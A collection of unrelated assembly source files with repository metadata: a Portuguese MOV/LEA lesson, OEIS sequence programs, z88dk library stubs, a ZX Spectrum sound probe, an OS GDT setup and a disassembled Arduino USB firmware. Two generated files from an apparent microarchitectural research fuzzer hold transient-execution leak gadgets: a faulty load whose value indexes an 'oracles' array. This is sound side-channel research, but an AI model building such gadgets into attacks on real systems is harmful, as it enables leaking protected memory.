8c3d1f1e26dc3680160820c7219954b6076c9d5e
|
[
"MIT"
] | null | null | null |
Etapa 01/Aula 03 - Registradores e Instr. MOV/codes/a03e04.asm
|
bellorini/unioeste
|
8c3d1f1e26dc3680160820c7219954b6076c9d5e
|
[
"MIT"
] | 5
|
2022-02-02T15:48:45.000Z
|
2022-02-22T18:17:52.000Z
|
; Aula 03 - Registradores e MOV
; arquivo: a03e04.asm
; objetivo: calculo de enderecamento MOV e LEA
; nasm -f elf64 a03e04.asm ; ld a03e04.o -o a03e04.x
section .data
; int vetorInt[10] = {42,1, 2, 3, 4, 5, 6, 7, 8, 9};
vetorInt : dd 42, 1, 2, 3, 4, 96, 6, 7, 8, 9
section .text
global _start
_start:
; ponteiro para o vetorInt
; *vetorInt
; cuidado: x86_64 contem endereços de 8 bytes
lea r8, [vetorInt]
; primeiro elemento do vetorInt
; vetorInt[0]
; cuidado: inteiro em x86_64 contem 4 bytes
mov eax, [vetorInt]
; como pegar o segundo elemento?
; vetorInt[1]
; deslocar o ponteiro vetorInt em 4 bytes, que eh o tamanho de um inteiro
; calculo de endereco de vetorInt[1] com LEA
lea r9, [vetorInt + 4] ; adiciona-se 4 bytes ao end. vetorInt
; busca do segundo elemento com MOV
mov ebx, [r9] ; r9 aponta para vetorInt+4 -> vetorInt[1]
; eh possivel indexar esse LEA?
; sim!!!!!
; Regra: o calculo de endereco eh no formato [base + indexador * deslocamento]
; por exemplo, para recuperar o vetorInt[5], usa-se
; [base=vetorInt + indice=5 * tamanhoInteiro=4]
lea r10, [vetorInt + 5 * 4]
mov ecx, [r10]
; porem, eh possivel executar a busca diretamente com MOV
mov edx, [vetorInt + 5 * 4]
; para futuras aulas: LEA não altera FLAGS!!!!
; o que mantem a consistencia da instrução CMP utilizado nos saltos condicionais
; visto na Aula 07
fim:
mov rax, 60
mov rdi, 0
syscall
| 28.849057
| 84
| 0.638326
|
5836f4dd20e1de7d0c9630cdc0135e306a189f4b
| 349
|
asm
|
Assembly
|
programs/oeis/021/A021186.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/021/A021186.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/021/A021186.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A021186: Decimal expansion of 1/182.
; 0,0,5,4,9,4,5,0,5,4,9,4,5,0,5,4,9,4,5,0,5,4,9,4,5,0,5,4,9,4,5,0,5,4,9,4,5,0,5,4,9,4,5,0,5,4,9,4,5,0,5,4,9,4,5,0,5,4,9,4,5,0,5,4,9,4,5,0,5,4,9,4,5,0,5,4,9,4,5,0,5,4,9,4,5,0,5,4,9,4,5,0,5,4,9,4,5,0,5
mov $1,$0
pow $0,2
mul $0,2
sub $0,$1
cal $0,21158 ; Decimal expansion of 1/154.
mul $0,2
mov $1,$0
div $1,2
| 29.083333
| 199
| 0.555874
|
16c325a066fc41553893cbc2513dcbc7ba909c37
| 242
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/adt/b_vector/c/sdcc_iy/b_vector_data_fastcall.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/adt/b_vector/c/sdcc_iy/b_vector_data_fastcall.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/adt/b_vector/c/sdcc_iy/b_vector_data_fastcall.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
; void *b_vector_data_fastcall(b_vector_t *v)
SECTION code_adt_b_vector
PUBLIC _b_vector_data_fastcall
EXTERN _b_array_data_fastcall
defc _b_vector_data_fastcall = _b_array_data_fastcall
INCLUDE "adt/b_vector/z80/asm_b_vector_data.asm"
| 18.615385
| 53
| 0.859504
|
1e6a4921efae9a79fadeede6d25a273f495f3ebe
| 648
|
asm
|
Assembly
|
libsrc/spectrum/zx_timexsound.asm
|
dex4er/deb-z88dk
|
9ee4f23444fa6f6043462332a1bff7ae20a8504b
|
[
"ClArtistic"
] | 1
|
2018-09-04T23:07:24.000Z
|
2018-09-04T23:07:24.000Z
|
libsrc/spectrum/zx_timexsound.asm
|
dex4er/deb-z88dk
|
9ee4f23444fa6f6043462332a1bff7ae20a8504b
|
[
"ClArtistic"
] | null | null | null |
libsrc/spectrum/zx_timexsound.asm
|
dex4er/deb-z88dk
|
9ee4f23444fa6f6043462332a1bff7ae20a8504b
|
[
"ClArtistic"
] | null | null | null |
;
; ZX Spectrum specific routines
; by Stefano Bodrato, 15/09/2006
;
; int zx_timexsound();
;
; The result is:
; - 1 (true) if a sound chip on the TS2068 standard location is present
; - 0 (false) otherwise
;
; $Id: zx_timexsound.asm,v 1.1 2006/12/01 16:58:30 stefano Exp $
;
XLIB zx_timexsound
zx_timexsound:
ld hl,0
ld a,11 ; envelope register
out ($f6),a
in a,($f5)
ld e,a
xor 170
out ($f5),a
ld d,a
in a,($f5)
cp d
ld a,e
out ($f5),a ; restore original value
jr nz,testend
ret nz
inc hl
testend:
ld a,($5c48) ; border
and $38
rrc a
rrc a
rrc a
or 8
out (254),a
ret
| 14.086957
| 72
| 0.595679
|
af55839f361943bb717705221dc1f36c4227e5e5
| 3,375
|
asm
|
Assembly
|
FlameOS 2.0/KernelParts/GDT.asm
|
Th3Matt/FlameOS
|
58c80646eea8c2f3140e45bf9aa5db368e0fac22
|
[
"MIT"
] | null | null | null |
FlameOS 2.0/KernelParts/GDT.asm
|
Th3Matt/FlameOS
|
58c80646eea8c2f3140e45bf9aa5db368e0fac22
|
[
"MIT"
] | null | null | null |
FlameOS 2.0/KernelParts/GDT.asm
|
Th3Matt/FlameOS
|
58c80646eea8c2f3140e45bf9aa5db368e0fac22
|
[
"MIT"
] | null | null | null |
;---------------------00 - NULL
mov edi, GDTTableLoc
mov dword [edi], 0
add edi, 4
mov dword [edi], 0
add edi, 4
;---------------------08 - Stack
;500 - 1500
mov ax, 0x14ff
mov [edi], ax
add edi, 2
push ax
mov ax, 0x500
mov [edi], ax
pop ax
add edi, 2
xor ecx, ecx
mov ch, 01010000b
shl ecx, 8
mov ch, 10010010b
mov [edi], ecx
add edi, 4
;---------------------10 - TSS
;1500 - 1564
add ax, 0x65
mov word [edi], 0x64
add edi, 2
push ax
sub ax, 0x64
mov [edi], ax
pop ax
add edi, 2
xor ecx, ecx
mov ch, 0x40
shl ecx, 8
mov ch, 0x89
mov [edi], ecx
add edi, 4
;----------------------18 - Kernel Data
;1565 - 145ff
add ax, 0x4600-0x64-0x1500-1
mov [edi], ax
add edi, 2
push ax
sub ax, 0x4600-0x64-0x1500-2
mov [edi], ax
pop ax
add edi, 2
xor ecx, ecx
mov ch, 01010001b
shl ecx, 8
mov ch, 10010010b
mov [edi], ecx
add edi, 4
inc ax
mov bx, ax ;---------------------20 - Kernel Code
;14600 - 159ff
add ax, 0x13FF
mov [edi], ax
add edi, 2
mov [edi], bx
add edi, 2
xor ecx, ecx
mov ch, 01010001b
shl ecx, 8
mov ch, 10011010b
mov cl, 1
mov [edi], ecx
add edi, 4 ;---------------------28 - Screen
;b8000 - bffff
mov bx, 0x8000
mov ax, 0xFFFF
mov [edi], ax
add edi, 2
mov [edi], bx
add edi, 2
xor ecx, ecx
mov ch, 01011011b
shl ecx, 8
mov ch, 10010010b
mov cl, 0xB
mov [edi], ecx
add edi, 4 ;---------------------30 - Hookpoints
;14300 - 145ff
mov bx, 0x4300
mov ax, 0x45ff
mov [edi], ax
add edi, 2
mov [edi], bx
add edi, 2
xor ecx, ecx
mov ch, 01010001b
shl ecx, 8
mov ch, 10010010b
mov cl, 0x1
mov [edi], ecx
add edi, 4 ;---------------------38 - VidBuffer Pointers
;15a00 - 15fff
mov bx, 0x5A00
mov ax, 0x5FFF
mov [edi], ax
add edi, 2
mov [edi], bx
add edi, 2
xor ecx, ecx
mov ch, 01010001b
shl ecx, 8
mov ch, 10010010b
mov cl, 0x1
mov [edi], ecx
add edi, 4 ;---------------------40 - USER Data
;100000 - ffffffff
mov bx, 0x0000
mov ax, 0xFFFF
mov [edi], ax
add edi, 2
mov [edi], bx
add edi, 2
xor ecx, ecx
mov ch, 11011111b
shl ecx, 8
mov ch, 10010010b
mov cl, 0x10
mov [edi], ecx
add edi, 4 ;---------------------48 - USER Code
;100000 - ffffffff
mov bx, 0x0000
mov ax, 0xFFFF
mov [edi], ax
add edi, 2
mov [edi], bx
add edi, 2
xor ecx, ecx
mov ch, 11011111b
shl ecx, 8
mov ch, 10011010b
mov cl, 0x10
mov [edi], ecx
add edi, 4 ;---------------------
mov esi, edi
sub esi, GDTTableLoc
dec esi
mov [edi], si
mov eax, edi
add edi, 2
mov dword [edi], GDTTableLoc
xchg bx, bx
lgdt [eax]
jmp 0x20:ReloadGDT
ReloadGDT:
| 16.383495
| 65
| 0.435259
|
4af392cd8cc192b5005173c165222916dcd26a50
| 361
|
asm
|
Assembly
|
oeis/122/A122963.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/122/A122963.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/122/A122963.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A122963: Triangular numbers with semiprime indices.
; Submitted by Christian Krause
; 10,21,45,55,105,120,231,253,325,351,561,595,630,741,780,1081,1225,1326,1540,1653,1711,1953,2145,2415,2775,3003,3403,3655,3741,3828,4186,4371,4465,4560,5671,6216,6670,7021,7140,7381,7503,7626,8385,8911,9045,10011
mov $1,$0
seq $1,88707 ; Semiprimes + 1.
bin $1,2
mov $0,$1
| 40.111111
| 213
| 0.750693
|
8a9ac11b4a4e5e3855e012aea1b3aa1f85f222c0
| 3,237
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_117_3035.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_117_3035.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_117_3035.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x1b97e, %rsi
lea addresses_WT_ht+0x1bb62, %rdi
nop
nop
nop
dec %r10
mov $64, %rcx
rep movsl
nop
nop
nop
nop
add $42904, %rbx
lea addresses_WC_ht+0xf9e2, %rsi
nop
add %rbp, %rbp
movl $0x61626364, (%rsi)
nop
nop
nop
nop
nop
sub %rbx, %rbx
lea addresses_normal_ht+0xcde2, %rsi
lea addresses_normal_ht+0x1aa02, %rdi
nop
sub $1822, %r9
mov $98, %rcx
rep movsw
add $55330, %rbx
lea addresses_WT_ht+0xb952, %rbx
clflush (%rbx)
nop
nop
xor $21981, %rdi
mov (%rbx), %cx
and $11961, %rdi
lea addresses_D_ht+0x15da2, %rdi
nop
add %rcx, %rcx
mov (%rdi), %si
nop
nop
nop
sub %rbp, %rbp
lea addresses_A_ht+0xe3e, %rdi
nop
nop
cmp %rcx, %rcx
movl $0x61626364, (%rdi)
nop
nop
cmp $31248, %r10
lea addresses_WT_ht+0xa262, %rdi
nop
nop
add $52893, %rbx
movb $0x61, (%rdi)
and $9550, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r9
push %rax
push %rbx
push %rdi
push %rdx
// Store
mov $0x3cb63900000008e2, %r9
nop
add $22666, %rdi
mov $0x5152535455565758, %rbx
movq %rbx, %xmm7
vmovups %ymm7, (%r9)
nop
nop
nop
nop
nop
xor $22588, %rbx
// Faulty Load
lea addresses_PSE+0x19de2, %r14
nop
nop
nop
nop
nop
and $48094, %r11
movups (%r14), %xmm4
vpextrq $0, %xmm4, %r9
lea oracles, %rbx
and $0xff, %r9
shlq $12, %r9
mov (%rbx,%r9,1), %r9
pop %rdx
pop %rdi
pop %rbx
pop %rax
pop %r9
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_PSE', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_NC', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_PSE', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WC_ht', 'same': True, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'33': 117}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 22.636364
| 350
| 0.650911
|
655db0773cae2890fd5e4d104c1faf9740310510
| 466
|
asm
|
Assembly
|
programs/oeis/047/A047411.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/047/A047411.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/047/A047411.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A047411: Numbers that are congruent to {1, 2, 4, 6} mod 8.
; 1,2,4,6,9,10,12,14,17,18,20,22,25,26,28,30,33,34,36,38,41,42,44,46,49,50,52,54,57,58,60,62,65,66,68,70,73,74,76,78,81,82,84,86,89,90,92,94,97,98,100,102,105,106,108,110,113,114,116,118,121,122,124,126,129,130,132,134,137,138,140,142,145,146,148,150,153,154,156,158,161,162,164,166,169,170,172,174,177,178,180,182,185,186,188,190,193,194,196,198
mov $1,$0
mul $0,6
add $1,23
mod $1,4
add $0,$1
div $0,3
| 46.6
| 346
| 0.678112
|
50e607fe72ad5e1ab268a9226b4979ae02901ee2
| 5,048
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_st_/i7-8650U_0xd2_notsx.log_5034_1419.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_/i7-8650U_0xd2_notsx.log_5034_1419.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_/i7-8650U_0xd2_notsx.log_5034_1419.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %rax
push %rbx
push %rdx
lea addresses_normal_ht+0x14e53, %rbx
nop
nop
nop
nop
nop
and %r11, %r11
mov $0x6162636465666768, %rdx
movq %rdx, (%rbx)
nop
nop
nop
nop
nop
and $37334, %rax
pop %rdx
pop %rbx
pop %rax
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r15
push %r9
push %rax
push %rbp
push %rbx
// Store
lea addresses_WC+0x10c13, %rbp
nop
nop
nop
nop
dec %r15
mov $0x5152535455565758, %r13
movq %r13, %xmm7
movups %xmm7, (%rbp)
nop
xor $23830, %rbx
// Load
lea addresses_WC+0x813, %r13
and $25989, %r14
mov (%r13), %r15
nop
nop
nop
nop
nop
xor $52491, %rbp
// Store
lea addresses_WT+0x18813, %r13
nop
nop
cmp $58563, %r9
movw $0x5152, (%r13)
nop
nop
nop
add %r14, %r14
// Load
lea addresses_WC+0x813, %rbx
nop
add $47657, %r13
mov (%rbx), %r9
nop
nop
nop
nop
nop
and %rax, %rax
// Faulty Load
lea addresses_WC+0x813, %r9
nop
nop
nop
and $13124, %r13
mov (%r9), %r15w
lea oracles, %rbp
and $0xff, %r15
shlq $12, %r15
mov (%rbp,%r15,1), %r15
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r15
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'38': 5034}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
| 42.066667
| 2,999
| 0.656498
|
fb69dc821f2c0249ed513b9388f8a5f1ff21f7bf
| 61,886
|
asm
|
Assembly
|
dm_mini_uno_original_firmware/usb_chip.asm
|
alfanhui/f1-dell
|
ad12d3bd62d8a17ab8bde7668de41c3098a81e71
|
[
"MIT"
] | 1
|
2020-06-07T21:15:25.000Z
|
2020-06-07T21:15:25.000Z
|
dm_mini_uno_original_firmware/usb_chip.asm
|
alfanhui/f1-dell
|
ad12d3bd62d8a17ab8bde7668de41c3098a81e71
|
[
"MIT"
] | null | null | null |
dm_mini_uno_original_firmware/usb_chip.asm
|
alfanhui/f1-dell
|
ad12d3bd62d8a17ab8bde7668de41c3098a81e71
|
[
"MIT"
] | null | null | null |
usb_chip.hex: file format ihex
Disassembly of section .sec1:
00000000 <.sec1>:
0: 90 c0 rjmp .+288 ; 0x122
2: 00 00 nop
4: a9 c0 rjmp .+338 ; 0x158
6: 00 00 nop
8: a7 c0 rjmp .+334 ; 0x158
a: 00 00 nop
c: a5 c0 rjmp .+330 ; 0x158
e: 00 00 nop
10: a3 c0 rjmp .+326 ; 0x158
12: 00 00 nop
14: a1 c0 rjmp .+322 ; 0x158
16: 00 00 nop
18: 9f c0 rjmp .+318 ; 0x158
1a: 00 00 nop
1c: 9d c0 rjmp .+314 ; 0x158
1e: 00 00 nop
20: 9b c0 rjmp .+310 ; 0x158
22: 00 00 nop
24: 99 c0 rjmp .+306 ; 0x158
26: 00 00 nop
28: 97 c0 rjmp .+302 ; 0x158
2a: 00 00 nop
2c: 48 c4 rjmp .+2192 ; 0x8be
2e: 00 00 nop
30: 0c c4 rjmp .+2072 ; 0x84a
32: 00 00 nop
34: 91 c0 rjmp .+290 ; 0x158
36: 00 00 nop
38: 8f c0 rjmp .+286 ; 0x158
3a: 00 00 nop
3c: 8d c0 rjmp .+282 ; 0x158
3e: 00 00 nop
40: 8b c0 rjmp .+278 ; 0x158
42: 00 00 nop
44: 89 c0 rjmp .+274 ; 0x158
46: 00 00 nop
48: 87 c0 rjmp .+270 ; 0x158
4a: 00 00 nop
4c: 85 c0 rjmp .+266 ; 0x158
4e: 00 00 nop
50: 83 c0 rjmp .+262 ; 0x158
52: 00 00 nop
54: 81 c0 rjmp .+258 ; 0x158
56: 00 00 nop
58: 7f c0 rjmp .+254 ; 0x158
5a: 00 00 nop
5c: 02 c1 rjmp .+516 ; 0x262
5e: 00 00 nop
60: 7b c0 rjmp .+246 ; 0x158
62: 00 00 nop
64: 79 c0 rjmp .+242 ; 0x158
66: 00 00 nop
68: 77 c0 rjmp .+238 ; 0x158
6a: 00 00 nop
6c: 75 c0 rjmp .+234 ; 0x158
6e: 00 00 nop
70: 73 c0 rjmp .+230 ; 0x158
72: 00 00 nop
74: 71 c0 rjmp .+226 ; 0x158
76: 00 00 nop
78: 6f c0 rjmp .+222 ; 0x158
7a: 00 00 nop
7c: 6d c0 rjmp .+218 ; 0x158
7e: 00 00 nop
80: 6b c0 rjmp .+214 ; 0x158
82: 00 00 nop
84: 69 c0 rjmp .+210 ; 0x158
86: 00 00 nop
88: 67 c0 rjmp .+206 ; 0x158
8a: 00 00 nop
8c: 65 c0 rjmp .+202 ; 0x158
8e: 00 00 nop
90: 63 c0 rjmp .+198 ; 0x158
92: 00 00 nop
94: 61 c0 rjmp .+194 ; 0x158
96: 00 00 nop
98: 12 01 movw r2, r4
9a: 10 01 movw r2, r0
9c: 02 00 .word 0x0002 ; ????
9e: 00 08 sbc r0, r0
a0: 41 23 and r20, r17
a2: 43 00 .word 0x0043 ; ????
a4: 01 00 .word 0x0001 ; ????
a6: 01 02 muls r16, r17
a8: dc 01 movw r26, r24
aa: 09 02 muls r16, r25
ac: 3e 00 .word 0x003e ; ????
ae: 02 01 movw r0, r4
b0: 00 c0 rjmp .+0 ; 0xb2
b2: 32 09 sbc r19, r2
b4: 04 00 .word 0x0004 ; ????
b6: 00 01 movw r0, r0
b8: 02 02 muls r16, r18
ba: 01 00 .word 0x0001 ; ????
bc: 05 24 eor r0, r5
be: 00 01 movw r0, r0
c0: 10 04 cpc r1, r0
c2: 24 02 muls r18, r20
c4: 06 05 cpc r16, r6
c6: 24 06 cpc r2, r20
c8: 00 01 movw r0, r0
ca: 07 05 cpc r16, r7
cc: 82 03 fmuls r16, r18
ce: 08 00 .word 0x0008 ; ????
d0: ff 09 sbc r31, r15
d2: 04 01 movw r0, r8
d4: 00 02 muls r16, r16
d6: 0a 00 .word 0x000a ; ????
d8: 00 00 nop
da: 07 05 cpc r16, r7
dc: 04 02 muls r16, r20
de: 40 00 .word 0x0040 ; ????
e0: 01 07 cpc r16, r17
e2: 05 83 std Z+5, r16 ; 0x05
e4: 02 40 sbci r16, 0x02 ; 2
e6: 00 01 movw r0, r0
e8: 04 03 mulsu r16, r20
ea: 09 04 cpc r0, r9
ec: 32 03 mulsu r19, r18
ee: 41 00 .word 0x0041 ; ????
f0: 72 00 .word 0x0072 ; ????
f2: 64 00 .word 0x0064 ; ????
f4: 75 00 .word 0x0075 ; ????
f6: 69 00 .word 0x0069 ; ????
f8: 6e 00 .word 0x006e ; ????
fa: 6f 00 .word 0x006f ; ????
fc: 20 00 .word 0x0020 ; ????
fe: 28 00 .word 0x0028 ; ????
100: 77 00 .word 0x0077 ; ????
102: 77 00 .word 0x0077 ; ????
104: 77 00 .word 0x0077 ; ????
106: 2e 00 .word 0x002e ; ????
108: 61 00 .word 0x0061 ; ????
10a: 72 00 .word 0x0072 ; ????
10c: 64 00 .word 0x0064 ; ????
